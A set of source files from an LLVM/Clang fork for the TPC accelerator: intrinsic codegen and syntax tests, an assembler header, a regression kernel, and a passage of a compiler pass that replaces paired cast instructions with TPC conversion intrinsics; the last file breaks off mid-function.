"/clang/test/RC99/Intrinsics/i_i32_add.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(int x0, int x1, int dest, _Bool pred) {\n int5 __local *dptr = (int5 __local *)dest;\n int5 res = 0;\n int5 a = { x0, x0, 0, x0, x0 };\n int5 b = { x1, x1, x1, 0, 0 };\n \n res = i_i32_add(a, b, 0b11110, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: add.i32 b11110 %I{{[0-9]+}}, %I{{[0-9]+}}, %I{{[0-9]+}}\n\n res = i_i32_add(a, b, 0b10000, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: add.i32 b10000 %I{{[0-9]+}}, %I{{[0-9]+}}, %I{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = i_i32_add(a, b, 0b1000, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: add.i32 b01000 %I{{[0-9]+}}, %I{{[0-9]+}}, %I{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = i_i32_add(a, x0, 0b00001, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: add.i32 b00001 %I{{[0-9]+}}, %S0, %I{{[0-9]+}}\n\n res = i_i32_add(a, x0, 0b00010, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: add.i32 b00010 %I{{[0-9]+}}, %S0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = i_i32_add(a, x0, 0b00100, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: add.i32 b00100 %I{{[0-9]+}}, %S0, %I{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = i_i32_add(a, 123, 0b00001, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: add.i32 b00001 %I{{[0-9]+}}, 0x7b, %I{{[0-9]+}}\n\n res = i_i32_add(a, 123, 0b00010, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: add.i32 b00010 %I{{[0-9]+}}, 0x7b, %I{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = i_i32_add(a, 123, 0b00100, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: add.i32 b00100 %I{{[0-9]+}}, 0x7b, %I{{[0-9]+}}, !%SP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.6761119365692139, "alphanum_fraction": 0.6779053211212158, "avg_line_length": 36.17333221435547, "blob_id": "a6d22a49fb4a939c3ac7e17bf5e40f96f0202482", "content_id": "151deb9f697fc3494018ca9a485e48dd8ceaff93", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2788, "license_type": "permissive", "max_line_length": 82, "num_lines": 75, "path": "/llvm/lib/Target/TPC/AsmParser/TPCAsmInstCompress.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCAsmInstCompress.h ----------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//\n//===----------------------------------------------------------------------===//\n#ifndef LLVM_LIB_TARGET_TPC_ASMPARSER_TPCASMINSTCOMPRESS_H\n#define LLVM_LIB_TARGET_TPC_ASMPARSER_TPCASMINSTCOMPRESS_H\n\n#include \"llvm/MC/MCInstrInfo.h\"\n#include \"llvm/MC/MCInst.h\"\n#include \"llvm/MC/MCStreamer.h\"\n#include \"llvm/MC/MCContext.h\"\n#include \"llvm/MC/MCExpr.h\"\n#include \"llvm/MC/MCInst.h\"\n#include \"llvm/MC/MCStreamer.h\"\n#include \"llvm/MC/MCSubtargetInfo.h\"\n#include \"llvm/ADT/Any.h\"\n#include <vector>\n\nnamespace llvm {\n\nclass TPCAsmInstCompress {\npublic:\n TPCAsmInstCompress() = delete;\n TPCAsmInstCompress(const MCInstrInfo &MII):\n compressEnabled(false), MCII(MII), pInst(nullptr), IsStoreInBuffer(false),\n DoNotCompressNextInst(false)\n {}\n // If compressEnabled is true when simply emit instruction.\n // Otherwise instruction is stored if IsStoreInBuffer is true.\n void EmitInstruction(MCInst &Inst, MCStreamer &Out, const MCSubtargetInfo &STI);\n void flushPendingInstructions(MCStreamer &Out, const MCSubtargetInfo &STI);\n void onLabelEmited(MCSymbol *Symbol);\n void setCompressEnabled(bool val) { compressEnabled = val; }\n\nprivate:\n bool compressEnabled;\n const MCInstrInfo &MCII;\n MCInst prevInst;\n MCInst * pInst;\n SmallVector<MCSymbol *, 2> PendingLabels;\n\n std::vector<StringRef> JmpLabels;\n std::vector<Any> Buffer;\n\n bool IsStoreInBuffer;\n bool DoNotCompressNextInst;\n\n void flushPendingLabels(MCStreamer &Out);\n void flushBuffer(MCStreamer &Out, const MCSubtargetInfo &STI,\n bool FlushAll = false);\n void flushInstCompressed(MCInst &Inst, MCStreamer &Out,\n const MCSubtargetInfo &STI);\n void flushInstUncompressed(MCInst &Inst, MCStreamer &Out,\n const MCSubtargetInfo &STI);\n\n bool isNopMCInst(const MCInst &MI) const;\n bool isVpuInstrWithSrcCD(const MCInst &MI) const;\n bool isSrcCIsStoreSrcC(const MCInst &MI) const;\n bool isLoopMCInst(const MCInst &MI, StringRef &Label) const;\n bool isJmpMCInst(const MCInst &MI, StringRef &Label) const;\n bool isJmpLabel(const MCSymbol *Label) const;\n void flushLoopsInsts(std::vector<Any>::iterator &Iter, MCStreamer &Out,\n const MCSubtargetInfo &STI);\n void rmOpcodeFromBundle(MCInst &MI, unsigned opcode) const;\n bool maybeCompressInstr(MCInst &MI, bool doCompress) const;\n};\n}\n\n#endif // LLVM_LIB_TARGET_TPC_ASMPARSER_TPCASMINSTCOMPRESS_H\n" }, { "alpha_fraction": 0.5297450423240662, "alphanum_fraction": 0.5524079203605652, "avg_line_length": 19.764705657958984, "blob_id": "58d474d824cbb10eb562418d11218c19418cd791", "content_id": "8556355531af7e1945340a0b7548176854262302", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 353, "license_type": "permissive", "max_line_length": 82, "num_lines": 17, "path": "/clang/test/RC99/cxx/rtti-02.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc++ -triple tpc-none-none -verify %s\n\n//GAUDI-1366\n// XFAIL:*\n\nstruct A {\n int x;\n};\n\nstruct B : public A {\n int y;\n};\n\nbool func_01(A *x, B *y) {\n return typeid(x) == typeid(y); // expected-error{{'typeid' is not supported}}\n // expected-error@-1{{'typeid' is not supported}}\n}\n" }, { "alpha_fraction": 0.5673575401306152, "alphanum_fraction": 0.6502590775489807, "avg_line_length": 37.599998474121094, "blob_id": "c6aab669094141352f4c7b8b99eb1a216e93c0d9", "content_id": "3172ac8a6f1b2bc34e0d32c63679f02d0fcbc525", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 386, "license_type": "permissive", "max_line_length": 135, "num_lines": 10, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_bfloat128_to_float128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n bfloat128 *sptr = (bfloat128 *)src;\n float128 *dptr = (float128 *)dest;\n bfloat128 src_val = *sptr;\n *dptr = convert_bfloat128_to_float128(src_val, 0);\n}\n\n// CHECK-IR: fpext <128 x bfloat> {{.*}} to <128 x float>\n" }, { "alpha_fraction": 0.42965778708457947, "alphanum_fraction": 0.5272496938705444, "avg_line_length": 31.875, "blob_id": "9a787434e69230ad5c3dbb49022811984f6a44fe", "content_id": "239fb2dbb1da6dbff421875a05c31b00f9a9e04e", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 789, "license_type": "permissive", "max_line_length": 106, "num_lines": 24, "path": "/clang/test/RC99/Intrinsics/s_f32_mac.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(float x0, float x1, int dest, _Bool pred) {\n float __local *dptr = (float __local *)dest;\n float res = 0;\n\n res = s_f32_mac_s_s(x0, x1, res, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %S{{[0-9]+}}, %S0, %S1, %SP0\n\n res = s_f32_mac_s_s(x0, 1.5, res, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %S{{[0-9]+}}, %S0, 0x3fc00000, %SP0\n\n res = s_f32_mac_s_s_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %S{{[0-9]+}}, %S0, %S1, %SP{{[0-9]+}}\n\n res = s_f32_mac_s_s_b(x0, 1.5, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.f32 %S{{[0-9]+}}, %S0, 0x3fc00000, %SP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.5992646813392639, "alphanum_fraction": 0.6102941036224365, "avg_line_length": 17.133333206176758, "blob_id": "f5c77b064cb41c4585eaaa3d754c109965fb2fb2", "content_id": "020da1a14d9605aaefb819b081d0ff996640e6d3", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 272, "license_type": "permissive", "max_line_length": 79, "num_lines": 15, "path": "/clang/test/RC99/cxx/rtti-01.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc++ -triple tpc-none-none -verify %s\n\nstruct A {\n int x;\n};\n\nstruct B : public A {\n int y;\n};\n\nbool func_01(A *x) {\n if (dynamic_cast<B*>(x)) // expected-error{{'dynamic_cast' is not supported}}\n return true;\n return false;\n}\n" }, { "alpha_fraction": 0.5315708518028259, "alphanum_fraction": 0.5939425230026245, "avg_line_length": 30.419355392456055, "blob_id": "4c914729da084f2d17a94d04e2561839884e3eea", "content_id": "126cf27d873676157770613da11dff4db765722c", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3896, "license_type": "permissive", "max_line_length": 100, "num_lines": 124, "path": "/clang/test/RC99/regression/GAUDI-255d.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O1 -o - %s\n// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O2 -o - %s\n\n// This is file failure_struct_in_st_tnsr.c fron GAUDI-255 attachments.\n\n/*****************************************************************************\n* Copyright (C) 2017 HabanaLabs, Ltd.\n* All Rights Reserved.\n*\n* Unauthorized copying of this file, via any medium is strictly prohibited.\n* Proprietary and confidential.\n*\n* Kernel assumptions:\n* ====================\n* input is a row major matrix\n* output is a row major matrix\n* index space is 1D, dictating which part of the input matrix is provided\n* \n* Authors:\n* Ron Shalev <[email protected]>\n******************************************************************************\n*/\n\n#define K 4\n\n__local__ char256 max_k_value[4];\n__local__ ushort128 max_k_index1[4];\n__local__ ushort128 max_k_index2[4];\n\ntypedef unsigned short uint16_t;\n\n\n//compiler bug - can't pass pointers to function. should be fixed\ntypedef struct _char256_ushort256_pair_t\n{\n char256 v1;\n ushort128 v21;\n ushort128 v22;\n} char256_ushort256_pair_t;\n\n\n\nvoid sort4Step(char256 unsorted[K], uchar256_char256_pair_t sorted[K], int k)\n{\n //get maximum value\n sorted[k].v2 = unsorted[0];\n sorted[k].v1 = 0;\n sorted[k] = v_i8_u8_sel2_grt_v_v_v_v(unsorted[1], sorted[k].v2, 1, sorted[k].v1);\n sorted[k] = v_i8_u8_sel2_grt_v_v_v_v(unsorted[2], sorted[k].v2, 2, sorted[k].v1);\n sorted[k] = v_i8_u8_sel2_grt_v_v_v_v(unsorted[3], sorted[k].v2, 3, sorted[k].v1);\n\n //minimize maximum value\n unsorted[0] = v_u8_i8_sel_eq_v_s_v_v(sorted[k].v1, 0, -128, unsorted[0]);\n unsorted[1] = v_u8_i8_sel_eq_v_s_v_v(sorted[k].v1, 1, -128, unsorted[1]);\n unsorted[2] = v_u8_i8_sel_eq_v_s_v_v(sorted[k].v1, 2, -128, unsorted[2]);\n unsorted[3] = v_u8_i8_sel_eq_v_s_v_v(sorted[k].v1, 3, -128, unsorted[3]);\n}\n\n\nvoid sort4(char256 unsorted[K], uchar256_char256_pair_t sorted[K])\n{\n sort4Step(unsorted, sorted, 0);\n sort4Step(unsorted, sorted, 1);\n sort4Step(unsorted, sorted, 2);\n sort4Step(unsorted, sorted, 3);\n}\n\n\n\n\nvoid main(tensor ifm, tensor ofm_val, tensor ofm_index, char firstActivation, char lastActivation) \n{\n int5 index_space_start = get_index_space_offset();\n int5 ofmValCord = index_space_start;\n int5 ofmIndxCord = index_space_start;\n int5 index_space_end = get_index_space_size() + index_space_start;\n\n if (firstActivation==1)\n { \n uchar256_char256_pair_t sorted_uchar[K];\n char256_ushort256_pair_t sorted[K];\n char256 unsorted[K];\n\n int5 ifmIndex = index_space_start;\n uint16_t baseIndx = index_space_start[0];\n\n unsorted[0] = v_i8_ld_tnsr_i(ifmIndex,ifm);\n ifmIndex[0]++;\n\n unsorted[1] = v_i8_ld_tnsr_i(ifmIndex,ifm);\n ifmIndex[0]++;\n\n unsorted[2] = v_i8_ld_tnsr_i(ifmIndex,ifm);\n ifmIndex[0]++;\n\n unsorted[3] = v_i8_ld_tnsr_i(ifmIndex,ifm);\n ifmIndex[0]++;\n\n sort4(unsorted, sorted_uchar);\n\n\n for (int i=0; i<K; i++) {\n sorted[i].v1 = sorted_uchar[i].v2;\n sorted[i].v21 = v_u16_and_v_s((ushort128)sorted_uchar[i].v1, 0xFFFF);\n sorted[i].v22 = v_u16_shr_v_s((ushort128)sorted_uchar[i].v1, 16);\n sorted[i].v22 = v_u16_and_v_s(sorted[i].v22, 0xFFFF);\n\n }\n \n ushort128 tmp = sorted[0].v21;\n i8_st_tnsr_i_v(ofmValCord, ofm_val, sorted_uchar[0].v2);\n u16_st_tnsr_i_v(ofmIndxCord, ofm_index, tmp);\n\n i8_st_tnsr_i_v(ofmValCord, ofm_val, sorted_uchar[1].v2);\n u8_st_tnsr_i_v(ofmIndxCord, ofm_index, sorted_uchar[1].v1);\n\n i8_st_tnsr_i_v(ofmValCord, ofm_val, sorted_uchar[2].v2);\n u8_st_tnsr_i_v(ofmIndxCord, ofm_index, sorted_uchar[2].v1);\n\n i8_st_tnsr_i_v(ofmValCord, ofm_val, sorted_uchar[3].v2);\n u8_st_tnsr_i_v(ofmIndxCord, ofm_index, sorted_uchar[3].v1);\n\n }\n}\n" }, { "alpha_fraction": 0.6348443627357483, "alphanum_fraction": 0.6363360285758972, "avg_line_length": 33.21644592285156, "blob_id": "bd5253be1fd102e7f7ca6ec70616a65034c819a6", "content_id": "1d700a4b5e6f5a9ffe6539638a94ed3508bbc75a", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 36201, "license_type": "permissive", "max_line_length": 83, "num_lines": 1058, "path": "/llvm/lib/Transforms/Scalar/EliminateSwizzleCast.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---------------------------- EliminateSwizzleCast.cpp ----------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n// This file implements a pass to replace \"fpext/fptrunc\" or\n// 'sitofp/fptosi' or 'uitofp/fptoui' having post dominator relationship with\n// corresponding *tpc.convert* intrinsics without swizzling.\n//===----------------------------------------------------------------------===//\n\n#include \"llvm/Transforms/Scalar/EliminateSwizzleCast.h\"\n#include \"llvm/Analysis/DDG.h\"\n#include \"llvm/IR/CallSite.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/Instructions.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/IR/PassManager.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Passes/PassBuilder.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Transforms/Scalar.h\"\n#include \"llvm/Transforms/Utils/TPCIntrinsicUtils.h\"\n#include <unordered_map>\n\n#define DEBUG_TYPE \"cast-swizzle-opt\"\n#include <iostream>\n\nusing namespace llvm;\n\nnamespace {\n\nusing NodeSetType = SetVector<const DDGNode *>;\nusing NodeSetVectorMap = DenseMap<const DDGNode *, NodeSetType>;\nusing NodeToBoolMapType = DenseMap<const DDGNode *, bool>;\nusing InstPairType = std::pair<Instruction *, Instruction *>;\n\nstd::unordered_multimap<unsigned, unsigned>\n marker({{Instruction::FPTrunc, Instruction::FPExt},\n {Instruction::FPExt, Instruction::FPTrunc},\n {Instruction::SIToFP, Instruction::FPToSI},\n {Instruction::FPToSI, Instruction::SIToFP},\n {Instruction::UIToFP, Instruction::FPToUI},\n {Instruction::FPToUI, Instruction::UIToFP},\n {Instruction::FPTrunc, Instruction::Call}});\nclass EliminateSwizzleCast {\n\npublic:\n // Entry point for analysis and transformation.\n void processDDG(const DataDependenceGraph &G);\n bool CheckLegal(unsigned int PrevStratCode, unsigned int PrevEndCode,\n unsigned int StartCode, unsigned int EndCode);\n\nprivate:\n unsigned int StartOpCode;\n unsigned int EndOpCode;\n NodeSetVectorMap PostDomSet;\n NodeSetVectorMap FinalPostDomSet;\n std::vector<NodeSetType> ForwardPaths;\n std::vector<NodeSetType> ReversePaths;\n NodeToBoolMapType NodeVisitedMap;\n\n // 'EndOpCode' setter in case where multiple ending operation is possible for\n // a given start operation.\n void setEndOpCode(unsigned OpCode) {\n EndOpCode = OpCode;\n }\n // Compute all forward paths forllowing Def-Use chain having correlative casts\n // 'fpext/fptrunc' or 'sitofp/fptosi' or 'uitofp/fptoui'.\n void computeAllFWPath(const DataDependenceGraph &G);\n\n // Computes all backward paths forllowing Use-Def chain having correlative\n // casts 'fpext/fptrunc' or 'sitofp/fptosi' or 'uitofp/fptoui'. \\p\n // IsStorePackSpl is to indicate trivial store-pack pattern.\n void computeAllBWPath(const DataDependenceGraph &G,\n bool IsStorePackSpl = false);\n\n // Recursively follow Def-Use or Use-Def edges starting from node \\p Src and\n // ending at node containing instruction with path ending operation \\p\n // EndOpCode.\\p IsBackward is to chose direction of traversal.\n void dfsAllPath(const DDGNode *Src, unsigned int StartOpCode,\n unsigned int EndOpCode, NodeSetType &Path,\n bool BackwardSearch = false);\n\n bool CheckFinalList(const Instruction *I);\n // Look through the computed post dominator map to check if the intended\n // tranformation is legal.The transformation is legal only if all backward\n // path contains cast and which is post dominated by its correlative cast.\n bool isLegalToTransform(void);\n\n bool isNodeVisited(const DDGNode *N);\n\n // Replace instruction \\p InstrToReplace with coresponding intrinsic\n void replaceInstWithIntrinsic(Instruction *InstrToReplace);\n\n // Process each path and do the required transformation if applicable.\n void applyTransform(void);\n\n // Iterate over forward path and build a map from DDG node to a set of DDG\n // node being post dominated.Returns true, if the map is built.\n bool buildPostDomSet(void);\n\n // Prints DOT format graph using post dominator map\n void printPostDomTree(NodeSetVectorMap PostDomSet);\n\n // Prints DOT format path\n void printPath(bool IsPrintUseDef = false);\n};\n\nstatic void printGraph(const DataDependenceGraph &G, bool isPrintUseDef);\n\nbool EliminateSwizzleCast::CheckLegal(unsigned int PrevStratCode,\n unsigned int PrevEndCode,\n unsigned int StartCode,\n unsigned int EndCode) {\n if ((StartCode == Instruction::FPTrunc) &&\n (EndOpCode == Instruction::FPExt) &&\n (PrevStratCode == Instruction::FPExt) &&\n (PrevEndCode == Instruction::FPTrunc)) {\n return true;\n } else if ((StartCode == Instruction::SIToFP) &&\n (EndOpCode == Instruction::FPToSI) &&\n (PrevStratCode == Instruction::FPToSI) &&\n (PrevEndCode == Instruction::SIToFP)) {\n return true;\n } else if ((StartCode == Instruction::Instruction::UIToFP) &&\n (EndOpCode == Instruction::FPToUI) &&\n (PrevStratCode == Instruction::FPToUI) &&\n (PrevEndCode == Instruction::UIToFP)) {\n return true;\n } else {\n return false;\n }\n}\n\n// Analyze all paths of DDG. Each DDG node consists of single or multiple\n// instruction.A path is defined as a set of DDG nodes starting and ending with\n// correlative casts \"fpext/fptrunc\" or 'sitofp/fptosi' or 'uitofp/fptoui' and\n// transform the correlative casts with the corresponding intrinsics, if found\n// legal for transformation. For example,\n// fptrunc --> t2\n// /\n// t0 --> fpext --> t1 ---> add\n// \\\n// fptrunc --> t3\nvoid EliminateSwizzleCast::processDDG(const DataDependenceGraph &G) {\n\n bool flag = false;\n unsigned int PrevStartCode = 0;\n unsigned int PrevEndCode = 0;\n // Find the start and end operation of the path which will be used as\n // indicator for all forward and backward path computation.\n for (auto entry : marker) {\n StartOpCode = entry.first;\n EndOpCode = entry.second;\n LLVM_DEBUG(dbgs() << \"StartOpCode =\" << StartOpCode << \"\\n\");\n LLVM_DEBUG(dbgs() << \"EndOpCode =\" << EndOpCode << \"\\n\");\n\n if (EndOpCode != Instruction::Call) {\n if (flag &&\n CheckLegal(PrevStartCode, PrevEndCode, StartOpCode, EndOpCode)) {\n flag = false;\n PrevStartCode = 0;\n PrevEndCode = 0;\n continue;\n } else {\n PrevStartCode = 0;\n PrevEndCode = 0;\n flag = false;\n }\n }\n\n // Compute all forward paths forllowing Def-Use chain having correlative\n // casts 'fpext/fptrunc' or 'sitofp/fptosi' or 'uitofp/fptoui'.\n computeAllFWPath(G);\n\n // Computes all backward paths forllowing Use-Def chain having correlative\n // casts 'fpext/fptrunc' or 'sitofp/fptosi' or 'uitofp/fptoui'.\n computeAllBWPath(G);\n\n // Prints computed forward/backward paths for debugging\n#ifndef NDEBUG\n printPath();\n printPath(true);\n#endif\n\n // Iterate over the computed forward/backward paths and build a post-dominator\n // map.Early exit, if no correlative casts post-dom relation found.\n if (!buildPostDomSet()) {\n LLVM_DEBUG(dbgs() << \"No post-dom relation found\\n\");\n PostDomSet.clear();\n ReversePaths.clear();\n ForwardPaths.clear();\n continue;\n }\n\n // This is to handle trivial store-pack pattern where a fptrun is fed to\n // subsequent store.tnsr.\n if (!isLegalToTransform()) {\n LLVM_DEBUG(dbgs() << \"Special Case Try !!\\n\");\n // Clear all data structure and explicitly set the end marker for store-pack\n // pattern path.\n PostDomSet.clear();\n ReversePaths.clear();\n ForwardPaths.clear();\n printPath();\n printPath(true);\n continue;\n }\n\n#ifndef NDEBUG\n printPostDomTree(PostDomSet);\n // printGraph(G, true);\n#endif\n if (!PostDomSet.empty() && EndOpCode != Instruction::Call) {\n PrevStartCode = StartOpCode;\n PrevEndCode = EndOpCode;\n flag = true;\n }\n // Copy the paths\n for (auto it : PostDomSet) {\n const DDGNode *PDomNode = it.getFirst();\n FinalPostDomSet[PDomNode] = it.second;\n }\n // Clear all data structure\n PostDomSet.clear();\n ReversePaths.clear();\n ForwardPaths.clear();\n }\n // Do transformation only when its not empty\n if (!FinalPostDomSet.empty()) {\n // Query post dominator map and do the transformation if applicable\n#ifndef NDEBUG\n printPostDomTree(FinalPostDomSet);\n#endif\n applyTransform();\n }\n}\n\n// Returns true if node \\p N is already visited.\nbool EliminateSwizzleCast::isNodeVisited(const DDGNode *N) {\n NodeToBoolMapType::iterator V = NodeVisitedMap.find(N);\n if (V != NodeVisitedMap.end())\n return V->second;\n\n return false;\n}\n\n// Returns true if \\p I is tpc_st_tnsr intrinsic.\nstatic bool isStoreIntrinsic(const Instruction *I) {\n LLVM_DEBUG(dbgs() << \"Checking for StoreIntrinsic\\n\");\n const auto *Intrin = dyn_cast<IntrinsicInst>(I);\n if (!Intrin)\n return false;\n if (Intrin->getIntrinsicID() != llvm::Intrinsic::tpc_st_tnsr)\n return false;\n return true;\n}\n\n// Returns true if \\p I is tpc_ld_g intrinsic.\nstatic bool isLoadIntrinsic(const Instruction *I) {\n LLVM_DEBUG(dbgs() << \"Checking for LoadIntrinsic\\n\");\n const auto *Intrin = dyn_cast<IntrinsicInst>(I);\n if (!Intrin)\n return false;\n if (Intrin->getIntrinsicID() == llvm::Intrinsic::tpc_ld_g)\n return true;\n return false;\n}\n\n// Returns true if \\p I is tpc_fptosi_swch intrinsic.\nstatic bool isFpToSiIntrinsic(const Instruction *I) {\n LLVM_DEBUG(dbgs() << \"Checking for fptosi Intrinsic\\n\");\n const auto *Intrin = dyn_cast<IntrinsicInst>(I);\n if (!Intrin)\n return false;\n if (Intrin->getIntrinsicID() != llvm::Intrinsic::tpc_fptosi_swch)\n return false;\n return true;\n}\n\n// Returns true if \\p I is tpc_fptoui_swch intrinsic.\nstatic bool isFpToUiIntrinsic(const Instruction *I) {\n LLVM_DEBUG(dbgs() << \"Checking for fptoui Intrinsic\\n\");\n const auto *Intrin = dyn_cast<IntrinsicInst>(I);\n if (!Intrin)\n return false;\n if (Intrin->getIntrinsicID() != llvm::Intrinsic::tpc_fptoui_swch)\n return false;\n return true;\n}\n\n// Returns true if \\p I is tpc_fpext_swch intrinsic.\nstatic bool isFpExtIntrinsic(const Instruction *I) {\n LLVM_DEBUG(dbgs() << \"Checking for tpc_fpext_swch Intrinsic\\n\");\n const auto *Intrin = dyn_cast<IntrinsicInst>(I);\n if (!Intrin)\n return false;\n if (Intrin->getIntrinsicID() != llvm::Intrinsic::tpc_fpext_swch)\n return false;\n return true;\n}\n\n// Returns true if \\p I is tpc_fptrunc_swch intrinsic.\nstatic bool isFpTruncIntrinsic(const Instruction *I) {\n LLVM_DEBUG(dbgs() << \"Checking for tpc_fptrunc_swch Intrinsic\\n\");\n const auto *Intrin = dyn_cast<IntrinsicInst>(I);\n if (!Intrin)\n return false;\n if (Intrin->getIntrinsicID() != llvm::Intrinsic::tpc_fptrunc_swch)\n return false;\n return true;\n}\n\n// Returns true if \\p I is tpc_sitofp_swch intrinsic.\nstatic bool isSiToFpIntrinsic(const Instruction *I) {\n LLVM_DEBUG(dbgs() << \"Checking for tpc_sitofp_swch Intrinsic\\n\");\n const auto *Intrin = dyn_cast<IntrinsicInst>(I);\n if (!Intrin)\n return false;\n if (Intrin->getIntrinsicID() != llvm::Intrinsic::tpc_sitofp_swch)\n return false;\n return true;\n}\n\n// Returns true if \\p I is tpc_uitofp_swch intrinsic.\nstatic bool isUiToFpIntrinsic(const Instruction *I) {\n LLVM_DEBUG(dbgs() << \"Checking for tpc_uitofp_swch Intrinsic\\n\");\n const auto *Intrin = dyn_cast<IntrinsicInst>(I);\n if (!Intrin)\n return false;\n if (Intrin->getIntrinsicID() != llvm::Intrinsic::tpc_uitofp_swch)\n return false;\n return true;\n}\n\n// Returns the llvm instruction or intrinsic which could be part of the pattern\n// we are looking for.Also sets the \\p OpCode corresponding to the found\n// instruction.\nstatic Instruction *getIntrestingInstruction(Instruction *I,\n unsigned int *OpCode) {\n if (I->getOpcode() == Instruction::FPExt || isFpExtIntrinsic(I)) {\n if (OpCode)\n *OpCode = Instruction::FPExt;\n return I;\n }\n if (I->getOpcode() == Instruction::FPTrunc || isFpTruncIntrinsic(I)) {\n if (OpCode)\n *OpCode = Instruction::FPTrunc;\n return I;\n }\n if (I->getOpcode() == Instruction::SIToFP || isSiToFpIntrinsic(I)) {\n if (OpCode)\n *OpCode = Instruction::SIToFP;\n return I;\n }\n if (I->getOpcode() == Instruction::FPToSI || isFpToSiIntrinsic(I)) {\n if (OpCode)\n *OpCode = Instruction::FPToSI;\n return I;\n }\n if (I->getOpcode() == Instruction::UIToFP || isUiToFpIntrinsic(I)) {\n if (OpCode)\n *OpCode = Instruction::UIToFP;\n return I;\n }\n if (I->getOpcode() == Instruction::FPToUI || isFpToUiIntrinsic(I)) {\n if (OpCode)\n *OpCode = Instruction::FPToUI;\n return I;\n }\n if (I->getOpcode() == Instruction::Call && isStoreIntrinsic(I)) {\n LLVM_DEBUG(dbgs() << \"Found Store Intrinsic Instruction\\n\");\n if (OpCode)\n *OpCode = Instruction::Call;\n return I;\n }\n if (isLoadIntrinsic(I)) {\n LLVM_DEBUG(dbgs() << \"Found Load Intrinsic Instruction\\n\");\n if (OpCode) {\n *OpCode = Instruction::Call;\n }\n return I;\n }\n return nullptr;\n}\n\n// Returns the cast instruction if found in node \\p N, else returns nullptr.\n// Also sets the \\p OpCode corresponding to the found instruction.\nstatic Instruction *getIntrestingInst(const DDGNode *N, unsigned int *OpCode) {\n for (Instruction *I : cast<const SimpleDDGNode>(*N).getInstructions()) {\n return getIntrestingInstruction(I, OpCode);\n }\n return nullptr;\n}\n\n// Returns the opcode of the cast operation this node \\p N contains otherwise\n// returns 0.\nstatic unsigned int getIntrestingOpCode(const DDGNode *N) {\n unsigned int OpCode = 0;\n getIntrestingInst(N, &OpCode);\n return OpCode;\n}\n\nstatic bool IsLoadIntrin(const DDGNode *N) {\n for (Instruction *I : cast<const SimpleDDGNode>(*N).getInstructions()) {\n if (auto *TpcIntrins = 